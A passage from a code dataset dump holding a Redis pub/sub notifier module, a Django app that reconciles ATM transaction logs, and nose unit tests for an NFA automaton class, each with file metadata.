try:\n return olddecoder(decompress(x))\n except zlib_error:\n return olddecoder(x)\n # Recreate listeners\n connection_down = client.subscribe_state_matcher(self, False)\n connection_up = client.subscribe_state_matcher(self, True)\n try:\n for m in client.subscribe(self, *tuple(self._matchers.keys())):\n yield m\n except Exception:\n recreate_matchers = True\n continue\n else:\n self._matchers = dict(zip(self._matchers.keys(), self.retvalue))\n self.subroutine(self._modifier(client), True, \"modifierroutine\")\n matchers = tuple(self._matchers.values()) + (listen_modify, connection_down)\n break\n else:\n if recreate_matchers:\n try:\n for m in client.subscribe(self, *[self.prefix + k for k in self._matchers.keys()]):\n yield m\n except Exception:\n recreate_matchers = True\n continue\n else:\n self._matchers = dict(zip(self._matchers.keys(), self.retvalue))\n self.subroutine(self._modifier(client), True, \"modifierroutine\")\n matchers = tuple(self._matchers.values()) + (listen_modify, connection_down)\n break\n else:\n matchers = tuple(self._matchers.values()) + (listen_modify, connection_down)\n break\n if self._publish_wait:\n self.subroutine(self.publish())\n transactid = '%s%016x' % (timestamp, transactno)\n transactno += 1\n def send_restore_notify(transactid):\n if self._matchadd_wait or self._matchremove_wait:\n # Wait for next subscribe success\n for m in self.waitWithTimeout(1, ModifyListen.createMatcher(self, ModifyListen.LISTEN)):\n yield m\n for m in self.waitForSend(\n UpdateNotification(self, transactid, tuple(self._matchers.keys()), UpdateNotification.RESTORED, False, extrainfo = None)):\n yield m\n self.subroutine(send_restore_notify(transactid), False)\n else:\n transact = decoder(self.event.message)\n if transact['id'] == last_transact:\n # Ignore duplicated updates\n continue\n last_transact = transact['id']\n pubkey, sep, pubno = last_transact.partition('-')\n fromself = (sep and pubkey == self._publishkey)\n transactid = '%s%016x' % (timestamp, transactno)\n transactno += 1\n self.subroutine(self.waitForSend(\n UpdateNotification(self, transactid, tuple(_bytes(k) for k in transact['keys']), UpdateNotification.UPDATED, fromself, extrainfo = transact.get('extrainfo'))\n ), False)\n finally:\n if hasattr(self ,'modifierroutine') and self.modifierroutine:\n self.terminate(self.modifierroutine)\n def _modifier(self, client):\n try:\n modify_matcher = ModifyListen.createMatcher(self, ModifyListen.SUBSCRIBE)\n while True:\n try:\n while self._matchadd_wait or self._matchremove_wait:\n if self._matchadd_wait:\n # Subscribe new keys\n current_add = set(self._matchadd_wait)\n self._matchadd_wait.clear()\n add_keys = list(current_add.difference(self._matchers.keys()))\n try:\n for m in client.subscribe(self, *[self.prefix + k for k in add_keys]):\n yield m\n except:\n # Return to matchadd\n self._matchadd_wait.update(current_add.difference(self._matchremove_wait))\n raise\n else:\n self._matchers.update(zip(add_keys, self.retvalue))\n for m in self.waitForSend(ModifyListen(self, ModifyListen.LISTEN)):\n yield m\n if self._matchremove_wait:\n # Unsubscribe keys\n current_remove = set(self._matchremove_wait)\n self._matchremove_wait.clear()\n del_keys = list(current_remove.intersection(self._matchers.keys()))\n try:\n for m in client.unsubscribe(self, *[self.prefix + k for k in del_keys]):\n yield m\n except:\n # Return to matchremove\n self._matchremove_wait.update(current_remove.difference(self._matchadd_wait))\n raise\n else:\n for k in del_keys:\n del self._matchers[k]\n for m in self.waitForSend(ModifyListen(self, ModifyListen.LISTEN)):\n yield m\n yield (modify_matcher,)\n except (IOError, ConnectionResetException):\n # Wait for connection resume\n connection_up = client.subscribe_state_matcher(self)\n yield (connection_up,)\n finally:\n self.subroutine(self._clearup(client, list(self._matchers.keys())))\n def _clearup(self, client, keys):\n try:\n if not self.scheduler.quitting:\n for m in client.unsubscribe(self, *[self.prefix + k for k in keys]):\n yield m\n except Exception:\n pass\n def add_listen(self, *keys):\n keys = [_bytes(k) for k in keys]\n self._matchremove_wait.difference_update(keys)\n self._matchadd_wait.update(keys)\n for m in self.waitForSend(ModifyListen(self, ModifyListen.SUBSCRIBE)):\n yield m\n def remove_listen(self, *keys): \n keys = [_bytes(k) for k in keys]\n self._matchadd_wait.difference_update(keys)\n self._matchremove_wait.update(keys)\n for m in self.waitForSend(ModifyListen(self, ModifyListen.SUBSCRIBE)):\n yield m\n @_delegate\n def publish(self, keys = (), extrainfo = None):\n keys = [_bytes(k) for k in keys]\n if self._publish_wait:\n merged_keys = list(self._publish_wait.union(keys))\n self._publish_wait.clear()\n else:\n merged_keys = list(keys)\n if not merged_keys:\n return\n for m in callAPI(self, 'redisdb', 'getclient', {'vhost':self.vhostbind}):\n yield m\n client, encoder, _ = self.retvalue\n transactid = '%s-%016x' % (self._publishkey, self._publishno)\n self._publishno += 1\n msg = encoder({'id':transactid, 'keys':[_str(k) for k in merged_keys], 'extrainfo': extrainfo})\n try:\n if len(merged_keys) > self._singlecastlimit:\n for m in client.execute_command(self, 'PUBLISH', self.prefix, msg):\n yield m\n else:\n for m in client.batch_execute(self, *((('MULTI',),) +\n tuple(('PUBLISH', self.prefix + k, msg) for k in merged_keys) +\n (('EXEC',),))):\n yield m\n except (IOError, ConnectionResetException):\n self._logger.warning('Following keys are not published because exception occurred, delay to next publish: %r', merged_keys, exc_info = True)\n self._publish_wait.update(merged_keys)\n else:\n self._publish_wait.clear()\n def notification_matcher(self, fromself = None):\n if fromself is None:\n return UpdateNotification.createMatcher(self)\n else:\n return UpdateNotification.createMatcher(notifier = self, fromself = fromself)\n\n@defaultconfig\n@depend(redisdb.RedisDB)\nclass RedisNotifier(Module):\n \"\"\"\n Update notification with Redis Pub/Sub\n \"\"\"\n _default_vhostbind = ''\n _default_prefix = 'vlcp.updatenotifier.'\n _default_singlecastlimit = 256\n _default_deflate = False\n def __init__(self, server):\n Module.__init__(self, server)\n self.createAPI(api(self.createnotifier))\n def load(self, container):\n self.scheduler.queue.addSubQueue(999, ModifyListen.createMatcher(), \"redisnotifier_modifylisten\")\n for m in Module.load(self, container):\n yield m\n def unload(self, container, force=False):\n for m in Module.unload(self, container, force=force):\n yield m\n for m in container.syscall_noreturn(syscall_removequeue(self.scheduler.queue, \"redisnotifier_modifylisten\")):\n yield m\n def createnotifier(self):\n \"Create a new notifier object\"\n n = _Notifier(self.vhostbind, self.prefix, self.scheduler, self.singlecastlimit, self.deflate)\n n.start()\n return n\n\nUpdateNotifier = proxy('UpdateNotifier', RedisNotifier)\n", "sub_path": "vlcp/service/kvdb/redisnotifier.py", "file_name": "redisnotifier.py", "file_ext": "py", "file_size_in_byte": 15273, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "vlcp.event.event.Event", "line_number": 23, "usage_type": "name"}, {"api_name": "vlcp.event.event.withIndices", "line_number": 22, "usage_type": "call"}, {"api_name": "vlcp.event.event.Event", "line_number": 28, "usage_type": "name"}, {"api_name": "vlcp.event.event.withIndices", "line_number": 27, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 33, "usage_type": "call"}, {"api_name": "vlcp.event.runnable.RoutineContainer", "line_number": 51, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 52, "usage_type": "call"}, {"api_name": "vlcp.event.runnable.RoutineContainer.__init__", "line_number": 54, "usage_type": "call"}, {"api_name": "vlcp.event.runnable.RoutineContainer", "line_number": 54, "usage_type": "name"}, {"api_name": "uuid.uuid1", "line_number": 58, "usage_type": "call"}, {"api_name": "time.time", "line_number": 67, "usage_type": "call"}, {"api_name": "vlcp.server.module.callAPI", "line_number": 69, "usage_type": "call"}, {"api_name": "zlib.compress", "line_number": 84, "usage_type": "call"}, {"api_name": "zlib.decompress", "line_number": 87, "usage_type": "call"}, {"api_name": "zlib.error", "line_number": 88, "usage_type": "name"}, {"api_name": "vlcp.server.module.ModuleLoadStateChanged.createMatcher", "line_number": 95, "usage_type": "call"}, {"api_name": "vlcp.server.module.ModuleLoadStateChanged", "line_number": 95, "usage_type": "name"}, {"api_name": "vlcp.server.module.ModuleLoadStateChanged.LOADED", "line_number": 95, "usage_type": "attribute"}, {"api_name": "vlcp.server.module.callAPI", "line_number": 116, "usage_type": "call"}, {"api_name": "zlib.compress", "line_number": 123, "usage_type": "call"}, {"api_name": "zlib.decompress", "line_number": 126, "usage_type": "call"}, {"api_name": "zlib.error", "line_number": 127, "usage_type": "name"}, {"api_name": "vlcp.event.connection.ConnectionResetException", "line_number": 228, "usage_type": "name"}, {"api_name": "vlcp.server.module.callAPI", "line_number": 263, "usage_type": "call"}, {"api_name": "vlcp.event.connection.ConnectionResetException", "line_number": 278, "usage_type": "name"}, {"api_name": "vlcp.server.module.Module", "line_number": 291, "usage_type": "name"}, {"api_name": "vlcp.server.module.Module.__init__", "line_number": 300, "usage_type": "call"}, {"api_name": "vlcp.server.module.Module", "line_number": 300, "usage_type": "name"}, {"api_name": "vlcp.server.module.api", "line_number": 301, "usage_type": "call"}, {"api_name": "vlcp.server.module.Module.load", "line_number": 304, "usage_type": "call"}, {"api_name": "vlcp.server.module.Module", "line_number": 304, "usage_type": "name"}, {"api_name": "vlcp.server.module.Module.unload", "line_number": 307, "usage_type": "call"}, {"api_name": "vlcp.server.module.Module", "line_number": 307, "usage_type": "name"}, {"api_name": "vlcp.event.core.syscall_removequeue", "line_number": 309, "usage_type": "call"}, {"api_name": "vlcp.config.defaultconfig", "line_number": 289, "usage_type": "name"}, {"api_name": "vlcp.server.module.depend", "line_number": 290, "usage_type": "call"}, {"api_name": "vlcp.service.connection.redisdb.RedisDB", "line_number": 290, "usage_type": "attribute"}, {"api_name": "vlcp.service.connection.redisdb", "line_number": 290, "usage_type": "name"}, {"api_name": "vlcp.server.module.proxy", "line_number": 317, "usage_type": "call"}]} +{"seq_id": "198413989", "text": "from django.shortcuts import render\nfrom django.contrib.auth import logout, authenticate, login\nfrom django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.core.files.storage import default_storage\n\n\nimport re\n\nfrom reconcile.forms import RegisterForm\n \n\n# def homepage(request):\n# \treturn render(request = request,\n# \t\t\t\ttemplate_name = \"reconcile/home.html\",\n# \t\t\t\tcontext={})\n\n\ndef register(request):\n\tif request.method == \"POST\":\n\t\tform = RegisterForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tuser = form.save()\n\t\t\tusername = form.cleaned_data.get(\"username\")\n\t\t\tmessages.success(request, f\"New account created: {username}\")\n\t\t\tlogin(request, user)\n\t\t\treturn redirect(\"reconcile:login\")\n\n\t\telse:\n\t\t\tfor msg in form.error_messages:\n\t\t\t\tmessages.error(request, f\"{msg}: {form.error_messages[msg]}\")\n\n\t\t\treturn render(request = request,\n\t\t\t\t\t\t template_name = \"reconcile/register.html\",\n\t\t\t\t\t\t context={\"form\":form})\n\n\n\tform = RegisterForm()\n\treturn render(request = request,\n\t\t\t\ttemplate_name = \"reconcile/register.html\",\n\t\t\t\tcontext={\"form\":form})\n\n\ndef logout_request(request):\n\tlogout(request)\n\tmessages.info(request, \"Logged out successfully!\")\n\treturn redirect(\"reconcile:login\")\n\n\ndef login_request(request):\n\tif request.method == \"POST\":\n\t\tform = AuthenticationForm(request=request, data=request.POST)\n\t\tif form.is_valid():\n\t\t\tusername = form.cleaned_data.get(\"username\")\n\t\t\tpassword = form.cleaned_data.get('password')\n\t\t\tuser = authenticate(username=username, password=password)\n\t\t\tif user is not None:\n\t\t\t\tlogin(request, user)\n\t\t\t\tmessages.info(request, f\"You are now logged in as {username}\")\n\t\t\t\treturn redirect('reconcile:account')\n\t\t\telse:\n\t\t\t\tmessages.error(request, \"Invalid username or password.\")\n\telse:\n\t\tmessages.error(request, \"Invalid username or password.\")\t\t\n\n\n\tform = AuthenticationForm()\n\treturn render(request = request,\n\t\t\ttemplate_name = \"reconcile/login.html\",\n\t\t\tcontext={\"form\":form})\n\n\n# Custom Functions Start\ndef newDateForm(date):\n newDate = date[6:] + '/' + date[4:6] + '/' + date[0:4]\n return newDate\n\n\ndef newTimeForm(time):\n newTime = ''\n if int(time[:2]) > 12:\n h = int(time[:2]) - 12\n newTime = str(h) + time[2:] + 'pm'\n elif int(time[:2]) == 12:\n newTime = time + 'pm'\n elif int(time[:2]) == 0:\n h = int(time[:2]) + 12\n newTime = str(h) + time[2:] + 'am'\n else:\n newTime = time + 'am'\n return newTime \n\n\ndef fileToList(atm_file):\n\tnewString = []\n\tfor line in atm_file:\n\t\tnewString.append(line.replace('\\n', ''))\n\t\t\t\t\n\treturn newString\n\ndef transactionStart(data):\n cardIn = re.compile(r'TK\\d\\:(\\d){6}\\.+\\d+$')\n mo = list(filter(cardIn.search, data))\n return mo\n\ndef transactionEnd(data):\n cardtaken = re.compile(r'\\((\\d){6}\\.+\\d+\\)')\n mot = list(filter(cardtaken.search, data))\n return mot\n\n \ndef getCardTransaction(data, cardin, cardtaken):\n cardTransaction = []\n \n for i in range(len(cardin)):\n cardNumReg = re.compile(r'TK\\d\\:(\\d){6}\\.+\\d+$')\n mo = cardNumReg.search(cardin[i])\n preCardNum = mo.group()\n cardNum = preCardNum[4:]\n\n if cardNum in cardin[i] and cardNum in cardtaken[i]:\n \n #save the items in a variable\n a = cardin[i]\n b = cardtaken[i]\n \n #find the index of each item in the main log file\n ai = data.index(a)\n bi = data.index(b)\n \n #adjust the starting and ending index\n nai = ai - 8\n nbi = bi + 8\n\n cardTransaction.append(data[nai:nbi])\n \n return cardTransaction\n\n\ndef getSuccessfulTransaction(tsgList):\n success = []\n for i in range(len(tsgList)):\n sRegex = re.compile(r'\\:Wait\\sfor\\scash\\staken$')\n mo = list(filter(sRegex.search, tsgList[i]))\n strmo = \"\".join(mo)\n if strmo:\n success.append(tsgList[i])\n return success\n\n\ndef getFailedTransaction(tsgList):\n fail = []\n for i in range(len(tsgList)):\n sRegex = re.compile(r'\\:Wait\\sfor\\scash\\staken$')\n mo = list(filter(sRegex.search, tsgList[i]))\n strmo = \"\".join(mo)\n if not strmo:\n fail.append(tsgList[i])\n return fail\n\n\n#pass in the list of all card transactions from above\ndef htmlCardsTsgView(listOfCardTsg):\n holder = []\n for i in range(len(listOfCardTsg)):\n cup = []\n\n #in each card, check for transaction start and extract the date and time\n dateRegex = re.compile(r'->Transaction start')\n mo = list(filter(dateRegex.search, listOfCardTsg[i]))\n strmo = \"\".join(mo)\n if strmo:\n pattern = '(\\d+:){2}\\d+\\/\\d+$'\n dtmo = re.search(pattern, strmo)\n dt = dtmo.group()\n timeStart = newTimeForm(dt[: dt.index('/')])\n date = newDateForm(dt[dt.index('/') + 1 : ])\n cup.append(date)\n cup.append(timeStart)\n\n cardNumRegex = re.compile(r'TK\\d\\:(\\d){6}\\.+\\d+$')\n cardNmo = list(filter(cardNumRegex.search, listOfCardTsg[i]))\n strcardNmo = \"\".join(cardNmo)\n if strcardNmo:\n patern = '\\d+\\.+\\d+$'\n cardMo = re.search(patern, strcardNmo)\n cardN = cardMo.group()\n cup.append(cardN)\n \n\n endRegex = re.compile(r'<-Transaction end')\n emo = list(filter(endRegex.search, listOfCardTsg[i]))\n stremo = \"\".join(emo)\n if stremo:\n patn = '(\\d+:){2}\\d+\\/\\d+$'\n dtemo = re.search(patn, stremo)\n dte = dtemo.group()\n timeEnd = newTimeForm(dte[: dte.index('/')])\n cup.append(timeEnd)\n\n\n #this checks to see if cash was paid or not\n statusRegex = re.compile(r'R(\\d){3}')\n smo = list(filter(statusRegex.search, listOfCardTsg[i]))\n strsmo = \"\".join(smo)\n\n #this checks to see if it was a withdrawal or a transfer\n trfReg = re.compile(r'TRANSFER')\n trfMo = list(filter(trfReg.search, listOfCardTsg[i]))\n strtrfMo = \"\".join(trfMo)\n\n inqReg = re.compile(r'INQUIRY')\n inqMo = list(filter(inqReg.search, listOfCardTsg[i]))\n strinqMo = \"\".join(inqMo)\n \n if strsmo:\n pc = strsmo[strsmo.index('R') : ]\n p = '2019\\d+\\s\\d+\\s\\:'\n pca = re.sub(p, \"\", pc)\n cup.append(pca)\n elif strtrfMo:\n cup.append(\"TRANSFER\")\n elif strinqMo:\n \tcup.append(\"INQUIRY\")\n else:\n cup.append(\"\")\n \n holder.append(cup)\n\n return holder\n\ndef allSuccessfulTsg(sLog):\n holder = []\n for i in range(len(sLog)):\n dataReg = re.compile(r'R000')\n mo = list(filter(dataReg.search, sLog[i]))\n strmo = \"\".join(mo)\n\n if strmo:\n pc = strmo[strmo.index('R') : ]\n p = '2019\\d+\\s\\d+\\s\\:'\n pca = re.sub(p, \"\", pc)\n \n if pca.count('R000') > 1:\n x = re.compile(r'R0{4}\\s+\\[\\d\\]\\w+\\d+\\W\\d\\W\\d+')\n xi = x.findall(pca)\n for i in xi:\n holder.append(i)\n else:\n holder.append(pca)\n return holder\n\ndef totalCashDisp(data):\n\n counter = 0\n \n for i in range(len(data)):\n r = re.compile(r'\\d+$')\n mo = r.search(data[i])\n if not None:\n num = int(mo.group())\n \n counter += num\n\n return counter\t\t\t\n# Custom Functions End\n\ndef account(request):\n\tif \"GET\" == request.method:\n\t\treturn render(request = request,\n\t\t\t\ttemplate_name = \"reconcile/account.html\",\n\t\t\t\tcontext={})\n\t\n\tif request.method == 'POST' and request.FILES[\"data_file\"]:\n\t\tmyfile = request.FILES[\"data_file\"]\n\t\tif not (myfile.name.endswith('.log') or myfile.name.endswith('.txt')):\n\t\t\tmessages.error(request, \"Filetype is not acceptable\")\n\t\telse:\n\t\t\tmyfile = request.FILES[\"data_file\"]\n\t\t\tfilename = default_storage.save(myfile.name, myfile)\n\t\t\tmessages.success(request, \"File Uploaded Successfully\")\n\n\t\t\tfiledata = default_storage.open(filename, 'r')\n\t\t\tfdata = filedata.readlines()\n\t\t\tlist_fdata = fileToList(fdata)\n\t\t\t#tsg means transaction\n\t\t\tcard_tsg_start = transactionStart(list_fdata)\n\t\t\tcard_tsg_end = transactionEnd(list_fdata)\n\t\t\tfull_card_tsg = getCardTransaction(list_fdata, card_tsg_start, card_tsg_end)\n\t\t\tcash_taken = getSuccessfulTransaction(full_card_tsg)\n\t\t\tno_cash_taken = getFailedTransaction(full_card_tsg)\n\t\t\tcash_taken_summary = htmlCardsTsgView(cash_taken)\n\t\t\tno_cash_summary = htmlCardsTsgView(no_cash_taken) \n\n\t\t\tdisp_data = allSuccessfulTsg(cash_taken)\n\t\t\tdispense_data = totalCashDisp(disp_data)\n\t\t\t\n\t\t\treturn render(request = request,\n\t\t\t\t\ttemplate_name = \"reconcile/account.html\",\n\t\t\t\t\tcontext={\n\t\t\t\t\t'data': cash_taken_summary,\n\t\t\t\t\t'data2' : no_cash_summary,\n\t\t\t\t\t'data3' : dispense_data\n\t\t\t\t\t\t}\n\t\t\t\t\t)\n\t\t\n\n\treturn render(request = request,\n\t\t\t\ttemplate_name = \"reconcile/account.html\",\n\t\t\t\tcontext={})\n\n", "sub_path": "reconcile/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 9058, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "reconcile.forms.RegisterForm", "line_number": 22, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 26, "usage_type": "name"}, {"api_name": "django.contrib.auth.login", "line_number": 27, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 32, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 32, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}, {"api_name": "reconcile.forms.RegisterForm", "line_number": 39, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 40, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 46, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 47, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 47, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 48, "usage_type": "call"}, {"api_name": "django.contrib.auth.forms.AuthenticationForm", "line_number": 53, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 57, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 59, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 60, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 60, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 61, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 63, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 63, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 65, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 65, "usage_type": "name"}, {"api_name": "django.contrib.auth.forms.AuthenticationForm", "line_number": 68, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 69, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 103, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 108, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 117, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 144, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 155, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 170, "usage_type": "call"}, {"api_name": "re.search", "line_number": 175, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 182, "usage_type": "call"}, {"api_name": "re.search", "line_number": 187, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 192, "usage_type": "call"}, {"api_name": "re.search", "line_number": 197, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 204, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 209, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 213, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 220, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 236, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 243, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 246, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 259, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 271, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 278, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 278, "usage_type": "name"}, {"api_name": "django.core.files.storage.default_storage.save", "line_number": 281, "usage_type": "call"}, {"api_name": "django.core.files.storage.default_storage", "line_number": 281, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 282, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 282, "usage_type": "name"}, {"api_name": "django.core.files.storage.default_storage.open", "line_number": 284, "usage_type": "call"}, {"api_name": "django.core.files.storage.default_storage", "line_number": 284, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 299, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 309, "usage_type": "call"}]} +{"seq_id": "52684194", "text": "#!/usr/bin/env python3\n\nimport json\nimport automata.automaton as automaton\nimport nose.tools as nose\nfrom automata.nfa import NFA\n\n\nclass TestNFA():\n\n def setup(self):\n # NFA which matches \"a\", \"aaa\", or any string of 'a's where number of\n # 'a's is even and greater than zero\n self.nfa = NFA(**{\n 'states': {'q0', 'q1', 'q2', 'q3', 'q4',\n 'q5', 'q6', 'q7', 'q8', 'q9'},\n 'symbols': {'a'},\n 'transitions': {\n 'q0': {'a': {'q1', 'q8'}},\n 'q1': {'a': {'q2'}, '': {'q6'}},\n 'q2': {'a': {'q3'}},\n 'q3': {'': {'q4'}},\n 'q4': {'a': {'q5'}},\n 'q5': {},\n 'q6': {'a': {'q7'}},\n 'q7': {},\n 'q8': {'a': {'q9'}},\n 'q9': {'a': {'q8'}}\n },\n 'initial_state': 'q0',\n 'final_states': {'q4', 'q6', 'q9'}\n })\n\n def test_init_json(self):\n \"\"\"should copy given JSON object into new NFA\"\"\"\n with open('tests/files/nfa.json', 'r') as nfa_file:\n nfa_json = json.load(nfa_file)\n new_nfa = NFA(**nfa_json)\n nose.assert_equal(new_nfa.states, set(nfa_json['states']))\n nose.assert_is_not(new_nfa.states, nfa_json['states'])\n nose.assert_equal(new_nfa.symbols, set(nfa_json['symbols']))\n nose.assert_is_not(new_nfa.symbols, nfa_json['symbols'])\n nose.assert_is_not(new_nfa.transitions, nfa_json['transitions'])\n for start_state, paths in new_nfa.transitions.items():\n nose.assert_is_not(paths, nfa_json['transitions'][start_state])\n for symbol, end_states in paths.items():\n nose.assert_equal(\n end_states,\n set(nfa_json['transitions'][start_state][symbol]))\n nose.assert_equal(new_nfa.initial_state, nfa_json['initial_state'])\n nose.assert_equal(new_nfa.final_states, set(nfa_json['final_states']))\n nose.assert_is_not(new_nfa.final_states, nfa_json['final_states'])\n\n def test_validate_automaton_missing_state(self):\n \"\"\"should raise error if a state has no transitions defined\"\"\"\n with nose.assert_raises(automaton.MissingStateError):\n del self.nfa.transitions['q1']\n self.nfa.validate_automaton()\n\n def test_validate_automaton_invalid_symbol(self):\n \"\"\"should raise error if a transition references an invalid symbol\"\"\"\n with nose.assert_raises(automaton.InvalidSymbolError):\n self.nfa.transitions['q1']['c'] = {'q2'}\n self.nfa.validate_automaton()\n\n def test_validate_automaton_invalid_state(self):\n \"\"\"should raise error if a transition references an invalid state\"\"\"\n with nose.assert_raises(automaton.InvalidStateError):\n self.nfa.transitions['q1']['a'] = {'q10'}\n self.nfa.validate_automaton()\n\n def test_validate_automaton_invalid_initial_state(self):\n \"\"\"should raise error if the initial state is invalid\"\"\"\n with nose.assert_raises(automaton.InvalidStateError):\n self.nfa.initial_state = 'q10'\n self.nfa.validate_automaton()\n\n def test_validate_automaton_invalid_final_state(self):\n \"\"\"should raise error if the final state is invalid\"\"\"\n with nose.assert_raises(automaton.InvalidStateError):\n self.nfa.final_states = {'q10'}\n self.nfa.validate_automaton()\n\n def test_validate_input_valid(self):\n \"\"\"should return correct stop states when valid NFA input is given\"\"\"\n nose.assert_equal(\n self.nfa.validate_input('aaaaaa'), {'q5', 'q7', 'q9'})\n\n def test_validate_input_empty_str(self):\n \"\"\"should resolve any empty state transitions on the stop states\"\"\"\n nose.assert_equal(self.nfa.validate_input('aaa'), {'q4', 'q7', 'q8'})\n\n def test_validate_input_invalid_symbol(self):\n \"\"\"should raise error if an invalid symbol is read\"\"\"\n with nose.assert_raises(automaton.InvalidSymbolError):\n self.nfa.validate_input('aab')\n\n def test_validate_input_nonfinal_state(self):\n \"\"\"should raise error if the stop state is not a final state\"\"\"\n with nose.assert_raises(automaton.FinalStateError):\n self.nfa.validate_input('aaaaa')\n", "sub_path": "tests/test_nfa.py", "file_name": "test_nfa.py", "file_ext": "py", "file_size_in_byte": 4339, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "automata.nfa.NFA", "line_number": 14, "usage_type": "call"}, {"api_name": "json.load", "line_number": 37, "usage_type": "call"}, {"api_name": "automata.nfa.NFA", "line_number": 38, "usage_type": "call"}, {"api_name": "nose.tools.assert_equal", "line_number": 39, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 39, "usage_type": "name"}, {"api_name": "nose.tools.assert_is_not", "line_number": 40, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 40, "usage_type": "name"}, {"api_name": "nose.tools.assert_equal", "line_number": 41, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 41, "usage_type": "name"}, {"api_name": "nose.tools.assert_is_not", "line_number": 42, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 42, "usage_type": "name"}, {"api_name": "nose.tools.assert_is_not", "line_number": 43, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 43, "usage_type": "name"}, {"api_name": "nose.tools.assert_is_not", "line_number": 45, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 45, "usage_type": "name"}, {"api_name": "nose.tools.assert_equal", "line_number": 47, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 47, "usage_type": "name"}, {"api_name": "nose.tools.assert_equal", "line_number": 50, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 50, "usage_type": "name"}, {"api_name": "nose.tools.assert_equal", "line_number": 51, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 51, "usage_type": "name"}, {"api_name": "nose.tools.assert_is_not", "line_number": 52, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 52, "usage_type": "name"}, {"api_name": "nose.tools.assert_raises", "line_number": 56, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 56, "usage_type": "name"}, {"api_name": "automata.automaton.MissingStateError", "line_number": 56, "usage_type": "attribute"}, {"api_name": "automata.automaton", "line_number": 56, "usage_type": "name"}, {"api_name": "nose.tools.assert_raises", "line_number": 62, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 62, "usage_type": "name"}, {"api_name": "automata.automaton.InvalidSymbolError", "line_number": 62, "usage_type": "attribute"}, {"api_name": "automata.automaton", "line_number": 62, "usage_type": "name"}, {"api_name": "nose.tools.assert_raises", "line_number": 68, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 68, "usage_type": "name"}, {"api_name": "automata.automaton.InvalidStateError", "line_number": 68, "usage_type": "attribute"}, {"api_name": "automata.automaton", "line_number": 68, "usage_type": "name"}, {"api_name": "nose.tools.assert_raises", "line_number": 74, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 74, "usage_type": "name"}, {"api_name": "automata.automaton.InvalidStateError", "line_number": 74, "usage_type": "attribute"}, {"api_name": "automata.automaton", "line_number": 74, "usage_type": "name"}, {"api_name": "nose.tools.assert_raises", "line_number": 80, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 80, "usage_type": "name"}, {"api_name": "automata.automaton.InvalidStateError", "line_number": 80, "usage_type": "attribute"}, {"api_name": "automata.automaton", "line_number": 80, "usage_type": "name"}, {"api_name": "nose.tools.assert_equal", "line_number": 86, "usage_type": "call"}, {"api_name": "nose.tools", 